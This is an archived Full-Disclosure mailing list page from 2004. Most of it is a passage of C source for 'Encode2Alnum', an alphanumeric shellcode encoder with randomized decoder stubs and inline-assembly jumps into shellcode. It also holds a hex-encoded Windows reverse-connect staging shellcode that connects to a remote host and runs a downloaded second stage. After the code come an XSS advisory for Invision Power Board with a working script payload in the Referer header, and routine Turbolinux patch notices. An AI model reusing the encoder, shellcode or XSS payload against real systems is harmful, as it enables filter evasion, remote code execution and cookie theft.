BYTE PreEBPIndirectPositiveOffsetStub[] = ""; // no more is needed
BYTE PreESPIndirectPositiveOffsetStub[] = ""; // no more is needed
BYTE PostEAXIndirectPositiveOffsetStub[] = "Qh!!!!X*****P*a30VX5!!!!P"; //
do same as ecx case
BYTE PostEBXIndirectPositiveOffsetStub[] = "Sh!!!!X*****P*a30VX5!!!!P";
BYTE PostECXIndirectPositiveOffsetStub[] = "Qh!!!!X*****P*a30VX5!!!!P";
BYTE PostEDXIndirectPositiveOffsetStub[] = "Rh!!!!X*****P*a30VX5!!!!P";
BYTE PostESIIndirectPositiveOffsetStub[] = "Vh!!!!X*****P*a30VX5!!!!P";
BYTE PostEDIIndirectPositiveOffsetStub[] = "Wh!!!!X*****P*a30VX5!!!!P";
BYTE PostEBPIndirectPositiveOffsetStub[] = "Uh!!!!X*****P*a30VX5!!!!P";
BYTE PostESPIndirectPositiveOffsetStub[] = ""; // no more is needed
// Handle case that reg-offset points to shellcode
// reg_indirect = 1 and reg_offset > 0 and reg_negative = 1
// [reg-off]
BYTE PreEAXIndirectNegativeOffsetStub[] = ""; // no more is needed
BYTE PreEBXIndirectNegativeOffsetStub[] = ""; // no more is needed
BYTE PreECXIndirectNegativeOffsetStub[] = ""; // no more is needed
BYTE PreEDXIndirectNegativeOffsetStub[] = ""; // no more is needed
BYTE PreESIIndirectNegativeOffsetStub[] = ""; // no more is needed
BYTE PreEDIIndirectNegativeOffsetStub[] = ""; // no more is needed
BYTE PreEBPIndirectNegativeOffsetStub[] = ""; // no more is needed
BYTE PreESPIndirectNegativeOffsetStub[] = ""; // no more is needed
BYTE PostEAXIndirectNegativeOffsetStub[] = "Ph!!!!X*****P*a30VX5!!!!P";
BYTE PostEBXIndirectNegativeOffsetStub[] = "Sh!!!!X*****P*a30VX5!!!!P";
BYTE PostECXIndirectNegativeOffsetStub[] = "Qh!!!!X*****P*a30VX5!!!!P";
BYTE PostEDXIndirectNegativeOffsetStub[] = "Rh!!!!X*****P*a30VX5!!!!P";
BYTE PostESIIndirectNegativeOffsetStub[] = "Vh!!!!X*****P*a30VX5!!!!P";
BYTE PostEDIIndirectNegativeOffsetStub[] = "Wh!!!!X*****P*a30VX5!!!!P";
BYTE PostEBPIndirectNegativeOffsetStub[] = "Uh!!!!X*****P*a30VX5!!!!P";
BYTE PostESPIndirectNegativeOffsetStub[] = ""; // no more is needed
int FindStubIndex()
{
int i;
for (i = 0; g_Stubs[i].RegType != INVALID; i++)
{
if (g_Stubs[i].RegType == reg_type) return i;
}
return -1;
}
BOOL GetStubLength()
{
int StubIndex;
DWORD StubLength;
StubIndex = FindStubIndex();
if (StubIndex < 0)
{
assert(0);
return 0;
}
if (!reg_indirect) // direct
{
if (!reg_offset) StubLength = strlen(g_Stubs[StubIndex].DirectStub);
else // reg_offset
{
if (!reg_negative) StubLength =
strlen(g_Stubs[StubIndex].PreDirectPositiveOffsetStub) + reg_offset +
strlen(g_Stubs[StubIndex].PostDirectPositiveOffsetStub);
else StubLength = strlen(g_Stubs[StubIndex].PreDirectNegativeOffsetStub)
+ reg_offset + strlen(g_Stubs[StubIndex].PostDirectNegativeOffsetStub);
}
}
else // indirect
{
if (!reg_offset) StubLength = strlen(g_Stubs[StubIndex].IndirectStub);
else // reg_offset
{
if (!reg_negative) StubLength =
strlen(g_Stubs[StubIndex].PreIndirectPositiveOffsetStub) + reg_offset +
strlen(g_Stubs[StubIndex].PostIndirectPositiveOffsetStub);
else StubLength =
strlen(g_Stubs[StubIndex].PreIndirectNegativeOffsetStub) + reg_offset +
strlen(g_Stubs[StubIndex].PostIndirectNegativeOffsetStub);
}
}
return StubLength;
}
BOOL CopyStub(BYTE *OutEncodedShellcode, DWORD StubLength)
{
int StubIndex;
BYTE *InStub;
DWORD StubOffset, *pAddress;
assert(StubLength);
if (!StubLength) return FALSE;
StubIndex = FindStubIndex();
if (StubIndex < 0)
{
assert(0);
return FALSE;
}
if (!reg_indirect) // direct
{
if (!reg_offset)
{
InStub = g_Stubs[StubIndex].DirectStub;
if (hardcoded_address)
{
pAddress = (DWORD *)(InStub+1);
*pAddress = hardcoded_address;
}
memcpy(OutEncodedShellcode, InStub, StubLength);
}
else // reg_offset
{
if (!reg_negative) // positive
{
InStub = g_Stubs[StubIndex].PreDirectPositiveOffsetStub;
memcpy(OutEncodedShellcode, InStub, strlen(InStub));
StubOffset = strlen(InStub);
memset(OutEncodedShellcode+StubOffset,
g_Stubs[StubIndex].DirectPositiveOffsetOpcode, reg_offset);
StubOffset += reg_offset;
InStub = g_Stubs[StubIndex].PostDirectPositiveOffsetStub;
memcpy(OutEncodedShellcode+StubOffset, InStub, strlen(InStub));
}
else // negative
{
InStub = g_Stubs[StubIndex].PreDirectNegativeOffsetStub;
memcpy(OutEncodedShellcode, InStub, strlen(InStub));
StubOffset = strlen(InStub);
memset(OutEncodedShellcode+StubOffset,
g_Stubs[StubIndex].DirectNegativeOffsetOpcode, reg_offset);
StubOffset += reg_offset;
InStub = g_Stubs[StubIndex].PostDirectNegativeOffsetStub;
memcpy(OutEncodedShellcode+StubOffset, InStub, strlen(InStub));
}
}
}
else // indirect
{
if (!reg_offset)
{
InStub = g_Stubs[StubIndex].IndirectStub;
if (hardcoded_address)
{
pAddress = (DWORD *)(InStub+1);
*pAddress = hardcoded_address;
}
memcpy(OutEncodedShellcode, InStub, StubLength);
}
else // reg_offset
{
if (!reg_negative) // positive
{
InStub = g_Stubs[StubIndex].PreIndirectPositiveOffsetStub;
memcpy(OutEncodedShellcode, InStub, strlen(InStub));
StubOffset = strlen(InStub);
memset(OutEncodedShellcode+StubOffset,
g_Stubs[StubIndex].IndirectPositiveOffsetOpcode, reg_offset);
StubOffset += reg_offset;
InStub = g_Stubs[StubIndex].PostIndirectPositiveOffsetStub;
memcpy(OutEncodedShellcode+StubOffset, InStub, strlen(InStub));
}
else // negative
{
InStub = g_Stubs[StubIndex].PreIndirectNegativeOffsetStub;
memcpy(OutEncodedShellcode, InStub, strlen(InStub));
StubOffset = strlen(InStub);
memset(OutEncodedShellcode+StubOffset,
g_Stubs[StubIndex].IndirectNegativeOffsetOpcode, reg_offset);
StubOffset += reg_offset;
InStub = g_Stubs[StubIndex].PostIndirectNegativeOffsetStub;
memcpy(OutEncodedShellcode+StubOffset, InStub, strlen(InStub));
}
}
}
RandomizeDecoder(OutEncodedShellcode, StubLength);
assert(strlen(OutEncodedShellcode) == StubLength);
return TRUE;
}
#ifdef TESTING
void TestStubs(BYTE *EncodedShellcode)
{
char **pEncodedShellcode;
printf("Testing shellcode\n");
pEncodedShellcode = &EncodedShellcode;
if (hardcoded_address)
{
if (!reg_indirect)
{
memcpy((DWORD *)hardcoded_address, EncodedShellcode,
EncodedShellcodeLength);
_asm
{
//int 3
mov eax, hardcoded_address
jmp eax
}
}
else
{
_asm
{
//int 3
mov eax, hardcoded_address
mov ebx, EncodedShellcode
mov [eax], ebx
jmp ebx
}
}
}
else if (reg_type == EAX)
{
if (!reg_indirect)
{
if (!reg_offset) // "eax"
{
_asm
{
//int 3
mov eax, EncodedShellcode
jmp EncodedShellcode
}
}
else
{
if (reg_negative) // "eax-off"
{
_asm
{
int 3
mov eax, EncodedShellcode
add eax, reg_offset
jmp EncodedShellcode
}
}
else // "eax+off"
{
_asm
{
int 3
mov eax, EncodedShellcode
sub eax, reg_offset
jmp EncodedShellcode
}
}
}
}
else
{
if (!reg_offset) // "[eax]"
{
_asm
{
int 3
mov eax, pEncodedShellcode
jmp EncodedShellcode
}
}
else
{
if (reg_negative) // "[eax-off]"
{
_asm
{
int 3
mov eax, pEncodedShellcode
add eax, reg_offset
jmp EncodedShellcode
}
}
else // "[eax+off]"
{
_asm
{
int 3
mov eax, pEncodedShellcode
sub eax, reg_offset
jmp EncodedShellcode
}
}
}
}
}
else if (reg_type == EBX)
{
if (!reg_indirect)
{
if (!reg_offset) // "EBX"
{
_asm
{
mov ebx, EncodedShellcode
jmp EncodedShellcode
}
}
else
{
if (reg_negative) // "EBX-off"
{
_asm
{
int 3
mov ebx, EncodedShellcode
add ebx, reg_offset
jmp EncodedShellcode
}
}
else // "EBX+off"
{
_asm
{
int 3
mov ebx, EncodedShellcode
sub ebx, reg_offset
jmp EncodedShellcode
}
}
}
}
else
{
if (!reg_offset) // "[EBX]"
{
_asm
{
int 3
mov ebx, pEncodedShellcode
jmp EncodedShellcode
}
}
else
{
if (reg_negative) // "[EBX-off]"
{
_asm
{
int 3
mov ebx, pEncodedShellcode
add ebx, reg_offset
jmp EncodedShellcode
}
}
else // "[EBX+off]"
{
_asm
{
int 3
mov ebx, pEncodedShellcode
sub ebx, reg_offset
jmp EncodedShellcode
}
}
}
}
}
else if (reg_type == ECX)
{
if (!reg_indirect)
{
if (!reg_offset) // "ECX"
{
_asm
{
mov ecx, EncodedShellcode
jmp ecx
}
}
else
{
if (reg_negative) // "ECX-off"
{
_asm
{
//int 3
mov ecx, EncodedShellcode
add ecx, reg_offset
jmp EncodedShellcode
}
}
else // "ECX+off"
{
_asm
{
//int 3
mov ecx, EncodedShellcode
sub ecx, reg_offset
jmp EncodedShellcode
}
}
}
}
else
{
if (!reg_offset) // "[ECX]"
{
_asm
{
mov ecx, pEncodedShellcode
jmp EncodedShellcode
}
}
else
{
if (reg_negative) // "[ECX-off]"
{
_asm
{
mov ecx, pEncodedShellcode
add ecx, reg_offset
jmp EncodedShellcode
}
}
else // "[ECX+off]"
{
_asm
{
mov ecx, pEncodedShellcode
sub ecx, reg_offset
jmp EncodedShellcode
}
}
}
}
}
else if (reg_type == EDX)
{
if (!reg_indirect)
{
if (!reg_offset) // "EDX"
{
_asm
{
mov edx, EncodedShellcode
jmp EncodedShellcode
}
}
else
{
if (reg_negative) // "EDX-off"
{
_asm
{
mov edx, EncodedShellcode
add edx, reg_offset
jmp EncodedShellcode
}
}
else // "EDX+off"
{
_asm
{
mov edx, EncodedShellcode
sub edx, reg_offset
jmp EncodedShellcode
}
}
}
}
else
{
if (!reg_offset) // "[EDX]"
{
_asm
{
mov edx, pEncodedShellcode
jmp EncodedShellcode
}
}
else
{
if (reg_negative) // "[EDX-off]"
{
_asm
{
mov edx, pEncodedShellcode
add edx, reg_offset
jmp EncodedShellcode
}
}
else // "[EDX+off]"
{
_asm
{
mov edx, pEncodedShellcode
sub edx, reg_offset
jmp EncodedShellcode
}
}
}
}
}
else if (reg_type == ESI)
{
if (!reg_indirect)
{
if (!reg_offset) // "ESI"
{
_asm
{
mov esi, EncodedShellcode
jmp EncodedShellcode
}
}
else
{
if (reg_negative) // "ESI-off"
{
_asm
{
mov esi, EncodedShellcode
add esi, reg_offset
jmp EncodedShellcode
}
}
else // "ESI+off"
{
_asm
{
mov esi, EncodedShellcode
sub esi, reg_offset
jmp EncodedShellcode
}
}
}
}
else
{
if (!reg_offset) // "[ESI]"
{
_asm
{
mov esi, pEncodedShellcode
jmp EncodedShellcode
}
}
else
{
if (reg_negative) // "[ESI-off]"
{
_asm
{
mov esi, pEncodedShellcode
add esi, reg_offset
jmp EncodedShellcode
}
}
else // "[ESI+off]"
{
_asm
{
mov esi, pEncodedShellcode
sub esi, reg_offset
jmp EncodedShellcode
}
}
}
}
}
else if (reg_type == EDI)
{
if (!reg_indirect)
{
if (!reg_offset) // "EDI"
{
_asm
{
mov edi, EncodedShellcode
jmp EncodedShellcode
}
}
else
{
if (reg_negative) // "EDI-off"
{
_asm
{
mov edi, EncodedShellcode
add edi, reg_offset
jmp EncodedShellcode
}
}
else // "EDI+off"
{
_asm
{
mov edi, EncodedShellcode
sub edi, reg_offset
jmp EncodedShellcode
}
}
}
}
else
{
if (!reg_offset) // "[EDI]"
{
_asm
{
mov edi, pEncodedShellcode
jmp EncodedShellcode
}
}
else
{
if (reg_negative) // "[EDI-off]"
{
_asm
{
mov edi, pEncodedShellcode
add edi, reg_offset
jmp EncodedShellcode
}
}
else // "[EDI+off]"
{
_asm
{
mov edi, pEncodedShellcode
sub edi, reg_offset
jmp EncodedShellcode
}
}
}
}
}
else if (reg_type == EBP)
{
if (!reg_indirect)
{
if (!reg_offset) // "EBP"
{
_asm
{
mov eax, EncodedShellcode
mov ebp, eax
jmp eax
}
}
else
{
if (reg_negative) // "EBP-off"
{
_asm
{
mov eax, EncodedShellcode
mov ebp, eax
add ebp, reg_offset
jmp eax
}
}
else // "EBP+off"
{
_asm
{
mov eax, EncodedShellcode
mov ebp, eax
sub ebp, reg_offset
jmp eax
}
}
}
}
else
{
if (!reg_offset) // "[EBP]"
{
_asm
{
mov eax, pEncodedShellcode
mov ebp, eax
mov eax, [eax]
jmp eax
}
}
else
{
if (reg_negative) // "[EBP-off]"
{
_asm
{
//int 3
mov eax, pEncodedShellcode
add ebp, reg_offset
mov ebp, eax
mov eax, pEncodedShellcode
jmp eax
}
}
else // "[EBP+off]"
{
_asm
{
//int 3
mov eax, pEncodedShellcode
sub eax, reg_offset
mov ebp, eax
mov eax, pEncodedShellcode
jmp eax
}
}
}
}
}
else if (reg_type == ESP)
{
if (!reg_indirect)
{
if (!reg_offset) // "ESP"
{
char *tmp;
_asm
{
sub esp, EncodedShellcodeLength
mov tmp, esp
}
memcpy(tmp, EncodedShellcode, EncodedShellcodeLength);
_asm
{
jmp esp
}
}
else
{
if (reg_negative) // "[ESP-off]"
{
_asm
{
//int 3
mov eax, pEncodedShellcode
sub esp, reg_offset
mov [esp], eax
add esp, reg_offset
mov eax, EncodedShellcode
jmp eax
}
}
else // "[ESP+off]"
{
_asm
{
//int 3
sub esp, 4
mov eax, pEncodedShellcode
mov [esp], eax
sub esp, reg_offset
mov eax, EncodedShellcode
jmp eax
}
}
}
}
else
{
if (!reg_offset) // "[ESP]"
{
_asm
{
mov eax, EncodedShellcode
push eax
jmp EncodedShellcode
}
}
else
{
if (reg_negative) // "[ESP-off]"
{
_asm
{
//int 3
mov eax, EncodedShellcode
sub esp, reg_offset
push eax
add esp, reg_offset
jmp EncodedShellcode
}
}
else // "[ESP+off]"
{
_asm
{
//int 3
mov eax, pEncodedShellcode
push eax
sub esp, reg_offset
jmp EncodedShellcode
}
}
}
}
}
else
{
assert(0);
}
}
#endif
=== enc2alnum/randomize.c
// Encode2Alnum (polymorphic alphanumeric decoder/encoder)
// Copyright (C) 2003-2004, Matt Conover, Avri Schneider and Soren Macbeth
#include <windows.h>
#include "enc2alnum.h"
RANDOMIZER g_Randomizers[] =
{
//{ '^', 0, FALSE, ALNUM_CHARSET },
{ '*', 0, FALSE, INDIRECT_CHARSET },
{ '!', 3, TRUE, INDIRECT_CHARSET },
{ 0, 0, FALSE, NULL }
};
BYTE Key;
BYTE Terminator;
BYTE GetRandomByte()
{
BYTE alnum;
do { alnum = RANDOM_ALNUM(); } while (!isalnum(alnum));
return alnum;
}
void Randomize(BYTE *In, BYTE RandomArray[], DWORD Length)
{
DWORD i;
for (i = 0; i < Length; i++)
{
In[i] = RandomArray[rand() % strlen(RandomArray)];
}
}
int FindRandomizerIndex(BYTE RandomizeKey)
{
int i;
for (i = 0; g_Randomizers[i].RandomizeKey != 0; i++)
{
if (g_Randomizers[i].RandomizeKey == RandomizeKey) return i;
}
return -1;
}
BOOL RandomizeDecoder(BYTE *Buffer, DWORD Length)
{
DWORD i;
DWORD RandomizerLength;
int Index;
DWORD saved_i = 0;
BYTE saved_key = 0;
BOOL ReplaceNextMatch = FALSE;
for (i = 0; i < Length; i++)
{
if (isalnum(Buffer[i])) continue;
if (Buffer[i] == KEY)
{
Buffer[i] = Key = GetRandomByte();
}
else if (Buffer[i] == TERMINATOR)
{
Buffer[i] = Terminator = GetRandomByte();
}
else
{
Index = FindRandomizerIndex(Buffer[i]);
if (Index < 0)
{
fprintf(stderr, "ERROR: invalid stub or decoder (unknown randomizer
'%c')\n", Buffer[i]);
return FALSE;
}
RandomizerLength = 1 + g_Randomizers[Index].Extra;
if (ReplaceNextMatch && Buffer[i] == saved_key)
{
memcpy(Buffer+i, Buffer+saved_i, RandomizerLength);
ReplaceNextMatch = FALSE;
saved_i = 0;
saved_key = 0;
i += g_Randomizers[Index].Extra;
}
else
{
if (g_Randomizers[Index].ReplaceNextMatch)
{
ReplaceNextMatch = TRUE;
saved_i = i;
saved_key = Buffer[i];
}
Randomize(Buffer+i, g_Randomizers[Index].CharacterSet,
RandomizerLength);
}
}
}
return TRUE;
}
=== enc2alnum/shellcode_samples/win32_stage_reverse_read.c
BYTE HexDump[] = // 275 bytes
"\x81\xe4\xfc\xff\xff\xff\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b"
"\x6c\x24\x18\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b"
"\x5a\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31"
"\xc0\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24"
"\x14\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01"
"\xeb\x8b\x04\x8b\x01\xe8\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08"
"\x00\x5e\x6a\x30\x59\x64\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b"
"\x8b\x5b\x08\x53\x68\x8e\x4e\x0e\xec\xff\xd6\x89\xc7\x81\xec\x00"
"\x01\x00\x00\x57\x56\x53\x89\xe5\xe8\x1f\x00\x00\x00\x90\x01\x00"
"\x00\xb6\x19\x18\xe7\xa4\x19\x70\xe9\xec\xf9\xaa\x60\xd9\x09\xf5"
"\xad\xcb\xed\xfc\x3b\x57\x53\x32\x5f\x33\x32\x00\x5b\x8d\x4b\x18"
"\x51\xff\xd7\x89\xdf\x89\xc3\x8d\x75\x14\x6a\x05\x59\x51\x53\xff"
"\x34\x8f\xff\x55\x04\x59\x89\x04\x8e\xe2\xf2\x2b\x27\x54\xff\x37"
"\xff\x55\x28\x31\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x24"
"\x89\xc7\x68\xaa\xbb\xcc\xdd\x68\x02\x00\xab\xcd\x89\xe1\x6a\x10"
"\x51\x57\xff\x55\x20\x59\x59\x81\xec\x00\x10\x00\x00\x89\xe3\x6a"
"\x00\x68\x00\x10\x00\x00\x53\x57\xff\x55\x18\x81\xec\x00\x04\x00"
"\x00\xff\xd3";
=== enc2alnum/shellcode_samples/make.bat
echo off
del win32_stage_reverse_read.bin 2>NUL
nasmw -f bin -o win32_stage_reverse_read.bin
win32_stage_boot_reverse_read.asm
hexdump -h -c win32_stage_reverse_read.bin > win32_stage_reverse_read.c
echo Bin is win32_stage_reverse_read.bin
echo C string is win32_stage_reverse_read.c
=== enc2alnum/shellcode_samples/win32_stage_api.asm
Original by HDM, see www.metasploit.com
=== enc2alnum/shellcode_samples/win32_stage_boot_reverse.asm
Original by HDM, see www.metasploit.com
=== enc2alnum/shellcode_samples/win32_stage_boot_reverse_read.asm
Original by HDM, see www.metasploit.com
_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today - it's FREE!
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
[Full-Disclosure] [MAXPATROL Security Advisories] Cross site scripting in Invision Power Board
From: Alexander Antipov (Antipov
SecurityLab.ru)
Date: Tue Oct 05 2004 - 13:53:12 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
[MAXPATROL Security Advisories] Cross site scripting in Invision Power Board
Date: 5.10.2004
Severity: Low
Application: Invision Power Board v2.0.0
Platform: PHP
I. DESCRIPTION
An input validation vulnerability was found in Invision Power Board. A
remote user can conduct Cross site scripting attack.
1.
GET /index.php?s=5875d919a790a7c429c955e4d65b5d54&act=Login&CODE=00 HTTP/1.0
Referer: "'/><script>alert()</script>
Result
<...>
index.php?s=7ff7c2ec2bc7f6e349b326dcee4cf41c&act=Login&CODE=01"
method="post" name="LOGIN" onsubmit="return ValidateForm()">
<input type="hidden" name="referer" value="\"\'/><script>alert()</script>"
/>
<...>
II. IMPACT
A remote user can access the target user's cookies (including authentication
cookies).
III. SOLUTION
Not available currently.
IV. VENDOR FIX/RESPONSE
n/a
V. CREDIT
This vulnerability was discovered by Positive Technologies using MaxPatrol
(www.maxpatrol.com) - intellectual professional security scanner. It is able
to detect a substantial amount of vulnerabilities not published yet.
MaxPatrol's intelligent algorithms are also capable to detect a lot of
vulnerabilities in custom web-scripts (XSS, SQL and code injections, HTTP
Response splitting).
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Re: [Full-Disclosure] Re: Full-Disclosure digest, Vol 1 #1950 - 4 msgs
From: William Warren (hescominsoon
emmanuelcomputerconsulting.com)
Date: Tue Oct 05 2004 - 14:13:27 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
go here to change your subscription:
http://lists.netsys.com/mailman/listinfo/full-disclosure
chris_tang
so-net.com.hk wrote:
> Hi,
>
> Please be advised that my email has been changed to:
>
> chriskftang
yahoo.com
>
> Please send all "full-disclosure" newsletters or related messages to
> the above email address.
>
> Thanx
>
> Best Rgds,
> Chris Tang
> ======================================================================
>
>
> On Tue, 05 Oct 2004 12:00 , full-disclosure-request
lists.netsys.com sent:
>
>
>>Send Full-Disclosure mailing list submissions to
>> full-disclosure
lists.netsys.com
>>
>>To subscribe or unsubscribe via the World Wide Web, visit
>> http://lists.netsys.com/mailman/listinfo/full-disclosure
>>or, via email, send a message with subject or body 'help' to
>> full-disclosure-request
lists.netsys.com
>>
>>You can reach the person managing the list at
>> full-disclosure-admin
lists.netsys.com
>>
>>When replying, please edit your Subject line so it is more specific
>>than "Re: Contents of Full-Disclosure digest..."
>>
>>
>>Today's Topics:
>>
>> 1. [TURBOLINUX SECURITY INFO] 05/Oct/2004 (Turbolinux)
>> 2. RE: Spyware installs with no interaction in IE on fully patched XP SP2 box (Castigliola, Angelo)
>> 3. SUSE Security Announcement: samba (SUSE-SA:2004:035) (Thomas Biege)
>> 4. Paranid ramblings - what's the deal? Bounded variables aren't? (Clairmont, Jan M)
>>
>>--__--__--
>>
>>Message: 1
>>Date: Tue, 5 Oct 2004 22:30:17 +0900
>>From: Turbolinux security-announce
turbolinux.co.jp>
>>Reply-To: server-users-e
turbolinux.co.jp
>>To: security-announce
turbolinux.co.jp
>>Subject: [Full-Disclosure] [TURBOLINUX SECURITY INFO] 05/Oct/2004
>>
>>-----BEGIN PGP SIGNED MESSAGE-----
>>Hash: SHA1
>>
>>This is an announcement only email list for the x86 architecture.
>>============================================================
>>Turbolinux Security Announcement 05/Oct/2004
>>============================================================
>>
>>The following page contains the security information of Turbolinux Inc.
>>
>>- Turbolinux Security Center
>> http://www.turbolinux.com/security/
>>
>>(1) squid -> DoS vulnerability in squid
>>(2) ImageMagick -> Multiple buffer overflow vulnerabilities in ImageMagick
>>
>>===========================================================
>>* squid -> DoS vulnerability in squid
>>===========================================================
>>
>>More information :
>> Squid is a high-performance proxy caching server for web clients, supporting
>> FTP, gopher, and HTTP data objects. Unlike traditional caching software,
>> Squid handles all requests in a single, non-blocking, I/O-driven process.
>>
>> A vulnerability in the NTLM helpers in squid.
>>
>>Impact :
>> The vulnerabilities allow remote attackers to cause a denial of service of sauid server services.
>>
>>Affected Products :
>> - Turbolinux Appliance Server 1.0 Hosting Edition
>> - Turbolinux Appliance Server 1.0 Workgroup Edition
>> - Turbolinux 8 Server
>> - Turbolinux 8 Workstation
>> - Turbolinux 7 Server
>> - Turbolinux 7 Workstation
>>
>>Solution :
>> Please use the turbopkg (zabom) tool to apply the update.
>>---------------------------------------------
>>[Turbolinux 10 Desktop, Turbolinux 10 F...]
>># zabom -u squid
>>
>>[other]
>># turbopkg
>>or
>># zabom update squid
>>---------------------------------------------
>>
>>
>>
>>
>> Source Packages
>> Size : MD5
>>
>> squid-2.5.STABLE6-11.src.rpm
>> 1538211 ff3e34c4b8c71d250f2781179ceec73a
>>
>> Binary Packages
>> Size : MD5
>>
>> squid-2.5.STABLE6-11.i586.rpm
>> 825195 85c3b583674e0ac0695c4cbf0404e586
>>
>>
>>
>> Source Packages
>> Size : MD5
>>
>> squid-2.5.STABLE6-11.src.rpm
>> 1538211 6b6d400ee15ee97ac6f7e98fbea26e50
>>
>> Binary Packages
>> Size : MD5
>>
>> squid-2.5.STABLE6-11.i586.rpm
>> 825663 bed921f91e657975cc6c72d2ea8f29d4
>>
>>
>>
>> Source Packages
>> Size : MD5
>>
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/squid-2.5.STABLE6-11.src.rpm
>> 1538211 b28eeeb88347c668fdb9938c4c1cd438
>>
>> Binary Packages
>> Size : MD5
>>
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/squid-2.5.STABLE6-11.i586.rpm
>> 825370 335f0fe78cfb204c86ff5b05d12bfd34
>>
>>
>>
>> Source Packages
>> Size : MD5
>>
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/squid-2.5.STABLE6-11.src.rpm
>> 1538211 181d72c2668f72b6e50190f784421bed
>>
>> Binary Packages
>> Size : MD5
>>
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/squid-2.5.STABLE6-11.i586.rpm
>> 825810 5e52e49f4be6e555f57b38ffb241c455
>>
>>
>>
>> Source Packages
>> Size : MD5
>>
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/squid-2.5.STABLE6-11.src.rpm
>> 1538211 45fd66fc13713b40beb996f664460f0e
>>
>> Binary Packages
>> Size : MD5
>>
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/squid-2.5.STABLE6-11.i586.rpm
>> 829880 e2a6cf6b67a7c74249b23bce5a4adedf
>>
>>
>>
>> Source Packages
>> Size : MD5
>>
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/squid-2.5.STABLE6-11.src.rpm
>> 1538211 191eab57b2adcecf91ceb4b34c94de09
>>
>> Binary Packages
>> Size : MD5
>>
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/squid-2.5.STABLE6-11.i586.rpm
>> 830034 d6142042afcd410376e5a875c5436bc9
>>
>>
>>Notice :
>> After performing the update, it is necessary to restart the squid daemon.
>> To do this, run the following command as user root.
>>---------------------------------------------
>># /etc/init.d/squid restart
>>or
>># /etc/rc.d/init.d/squid restart
>>---------------------------------------------
>>
>>References:
>>
>>CVE
>> [CAN-2004-0832]
>> http://cve.mitre.org/cgi-bin/cvename.cgi\?name=CAN-2004-0832
>>
>>
>>===========================================================
>>* ImageMagick -> Multiple buffer overflow vulnerabilities in ImageMagick
>>===========================================================
>>
>>More information :
>> ImageMagick(TM) is an image display and manipulation tool for the X
>> Window System. ImageMagick can read and write JPEG, TIFF, PNM, GIF and
>> Photo CD image file formats.
>>
>> Multiple buffer overflow vulnerabilities in ImageMagick allowing remote
>> attackers to execute arbitrary code via a malformed image or video file.
>>
>>Impact :
>> These vulnerabilities may allow remote attackers to execute arbitrary
>> code via a malformed image or video file in AVI or BMP formats.
>>
>>Affected Products :
>> - Turbolinux 10 F...
>> - Turbolinux 10 Desktop
>> - Turbolinux 8 Server
>> - Turbolinux 8 Workstation
>> - Turbolinux 7 Server
>> - Turbolinux 7 Workstation
>>
>>Solution :
>> Please use the turbopkg (zabom) tool to apply the update.
>>---------------------------------------------
>>[Turbolinux 10 Desktop, Turbolinux 10 F...]
>># zabom -u ImageMagick ImageMagick-devel
>>
>>[other]
>># turbopkg
>>or
>># zabom update ImageMagick ImageMagick-devel
>>---------------------------------------------
>>
>>
>>
>>
>> Source Packages
>> Size : MD5
>>
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/SRPMS/ImageMagick-5.5.7-5.src.rpm
>> 5274681 6a9d3c1b208049830e7086b9aae75fe7
>>
>> Binary Packages
>> Size : MD5
>>
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/ImageMagick-5.5.7-5.i586.rpm
>> 2397224 dea16cf3ee2ce38381e3d2679ad8fa3c
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/ImageMagick-devel-5.5.7-5.i586.rpm
>> 555804 840cc5d2ec79afd5cfdbf4223f625195
>>
>>
>>
>> Source Packages
>> Size : MD5
>>
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/ImageMagick-5.4.7-1.src.rpm
>> 3614849 bb43185f084dd6e32f10694f35fb513d
>>
>> Binary Packages
>> Size : MD5
>>
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/ImageMagick-5.4.7-2.i586.rpm
>> 3207676 6839799de74d7439334a875a097b6049
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/ImageMagick-c++-5.4.7-2.i586.rpm
>> 1392173 d0af80e68a129fd41d301b7ec3469ff5
>> ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/ImageMagick-devel-5.4.7-2.i586.rpm
